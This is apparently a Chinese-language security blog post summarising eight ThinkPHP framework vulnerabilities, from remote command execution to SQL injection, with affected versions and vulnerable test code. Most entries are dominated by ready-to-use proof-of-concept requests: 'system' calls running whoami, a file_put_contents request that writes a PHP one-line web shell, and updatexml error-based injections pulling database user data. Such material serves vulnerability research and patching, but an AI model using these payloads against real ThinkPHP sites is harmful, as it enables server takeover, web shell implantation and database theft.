ThinkPHP典型漏洞总结

1) ThinkPHP 5.0.x Request类远程命令执行【20190111】

受影响版本:
ThinkPHP 5.0.0 - ThinkPHP 5.0.23

在ThinkPHP 5.0.x 版本下,由于Request类的method 函数控制松散,导致可以通
过变量覆盖实现对任意函数进行调用,并且$_POST 将作为函数的参数传入,最终通过filterValue() 方法中的回调函数call_user_func()触发漏洞,实现远程命令执行

ThinkPHP 5.0.15 POC

下面POC 只有当debug模式开启时才可成功执行

1
2
POST /thinkphp5015/public/index.php HTTP/1.1
_method=__construct&filter[]=system&mytest=whoami

ThinkPHP 5.0.23 POC

下面POC 在debug模式无论关闭或开启均可成功执行

1
2
POST /thinkphp5023/public/index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

下面POC 只有当debug模式开启时才可成功执行

1
2
POST /thinkphp5023/public/index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

2) ThinkPHP 5.x controller远程命令执行【20181209】

受影响版本:
ThinkPHP 5.1.x ~ 5.1.31
ThinkPHP 5.0.x ~ 5.0.23

由于框架对于controller控制器名称没有做到足够的检测,导致在使用Pathinfo访问模式(没有开启强制路由)的情况下,造成可能的GetShell

POC

在debug模式无论关闭或开启均可成功执行

1
2
3
4
5
6
7
8
9
执行phpinfo
http://127.0.0.1/thinkphp5015//public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
执行系统命令
http://127.0.0.1/thinkphp5015/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写info.php文档
http://127.0.0.1/thinkphp5015/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E
http://127.0.0.1/thinkphp5015/public/info.php
写一句话木马
http://127.0.0.1/thinkphp5015/public/index.php/?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=www2.php&vars[1][]=<?php @ev[xxx]al($_POST['123']);?>

3) ThinkPHP 3.1、3.2 SQL注入(exp表达式)【20141211】

如果where语句的条件是数组,而且数组的第一个值是’exp’,那么第二个值就可以直接写SQL语句。这个特性在thinkphp3.1、3.2版本中均存在,通用性比较广。
I方法使用filter_exp函数过滤,是在exp后面会加个空格
但是filter_exp在I函数的fiter之前,所以如果开发者这样写I(‘get.school’, ‘’, ‘trim’),那么会直接清除掉exp后面的空格,导致过滤无效。而这个写法是很普遍的。

POC

1
2
3
http://***.***.***.***/home/index/login
POST提交
uname[0]=exp&uname[1]=%21%3D1 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))%23&upwd=admin

4) ThinkPHP 5.0.9 信息泄露+SQL注入(in)【20170703】

ThinkPHP 5.0.9默认依旧是开放debug模式 (‘app_debug’ => true,)
触发该漏洞的关键词有:in 、not in
位置:select()、delete()、update()

漏洞测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
thinkphp509applicationindexcontrollerIndex.php
public function ()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();



foreach($result as $row) {
echo "<p>Hello, {$row['username']}</p>";
}
}

thinkphp509applicationindexmodelUser.php

namespace appindexmodel;
use thinkModel;
class User extends Model
{
protected $table = 'user';
}

正常请求:
http://127.0.0.1/thinkphp509/public/index.php/index/index/sqlvul?ids=1
http://127.0.0.1/thinkphp509/public/index.php/index/index/sqlvul?ids[]=1&ids[]=2

POC

1
2
http://127.0.0.1/thinkphp509/public/index.php/index/index/sqlvul?ids[0,updatexml(0,concat(0xa,user()),0)]=1
<img src="/img/thinkphp_getshell/ThinkPHP_1.png">

5) ThinkPHP <5.0.16 update/insert 注入(inc)【20180409】

测试准备

1)修改数据库配置信息 application/database.php
在 application/config.php 中打开调试和trace,app_debug和app_trace均为true。说明:app_debug设置为true是必须的,app_trace可不设
2)创建数据库为tptest,表名为user,其中有两个字段id和username
3)在 application/index/controller/Index.php 中Index类中添加方法:

1
2
3
4
5
6
public  function sqlvul()
{
$username = input('get.username/a');
//db('user')->where(['id'=> 5])->insert(['username'=>$username]);
db('user')->where(['id'=> 3])->update(['username'=>$username]);
}

POC

1
2
3
4
http://127.0.0.1/thinkphp5015/public/index.php/index/index/sqlvul?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
http://127.0.0.1/thinkphp5015/public/index.php/index/index/sqlvul?username[0]=dec&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
或者
http://127.0.0.1/thinkphp5015/public/index.php/index/index/sqlvul?username[0]=inc&username[1]=exp(~(select * from(select user())a))&username[2]=1

6) Thinkphp3.2.3 update注入(bind)【20180414】

Thinkphp3.2.3是目前使用最广泛的thinkphp版本,虽然已经停止新功能的开发,但是应用的还是挺多

漏洞测试代码:

1
2
3
4
5
6
7
8
public function sqlvul3(){
$User = M("user");
$user['id'] = I('id');
$data['username'] = I('username');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}

正常请求:(更新用户密码)

1
http://127.0.0.1/thinkphp323/index.php/Home/Index/sqlvul3?username=admin&password=123&id=1

POC

1
http://127.0.0.1/thinkphp323/index.php/Home/Index/sqlvul3?username=admin&password=123&&id[0]=bind&id[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

7) Thinkphp3.2.3 find/select/delete注入【20180823】

漏洞测试代码:

1
2
3
4
5
6
7
public function sqlvul1()
{
$res = M('user')->find(I('GET.id'));
//$res = M('user')->delete(I('GET.id'));
//$res = M('user')->select(I('GET.id'));
var_dump($res);
}

正常请求:
http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul1&id=2

POC

1
2
3
http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul1&id[alias]=where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul1&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul1&id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- #需要知道表明 这里表名的user

8) ThinkPHP 3.2.3/5.1.22 order by注入【20180902】

ThinkPHP在处理order by排序时,当排序参数可控且为关联数组(key-value)时,由于框架未对数组中key值作安全过滤处理,攻击者可利用key构造SQL语句进行注入,该漏洞影响ThinkPHP 3.2.3、5.1.22及以下版本。【CVE-2018-16385】

ThinkPHP3.2.3漏洞测试代码:

1
2
3
4
5
6
7
   public function sqlvul2(){
$data=array();
$data['username']=array('eq','qq123');
$order=I('get.order');//使用标准的I函数进行安全过滤
$m=M('user')->where($data)->order($order)->find();
var_dump($m);
}

ThinkPHP3.2.3 POC

1
2
http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul2&order[updatexml(1,concat(0x3a,user()),1)]
http://127.0.0.1/thinkphp323/index.php/Home/Index/sqlvul2?order[updatexml(1,concat(0x3a,user()),1)]

ThinkPHP5.1.22漏洞测试代码

1
2
3
4
5
6
7
8
public function index()
{
$data=array();
$data['username']=array('eq','admin');
$order=input('get.order');//使用input函数进行安全过滤
$m=db('user')->where($data)->order($order)->find();
dump($m);
}

ThinkPHP5.1.22 POC

1
http://127.0.0.1/tp5/public/index/index/test/index?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

参考:

www.lsablog.com/networksec/penetration/thinkphp5-rce-analysis/
wooyun.jozxing.cc/static/bugs/wooyun-2014-086737.html
xz.aliyun.com/t/125
xz.aliyun.com/t/2631
xz.aliyun.com/t/2257
xz.aliyun.com/t/2812
www.anquanke.com/post/id/104847
www.freebuf.com/vuls/185420.html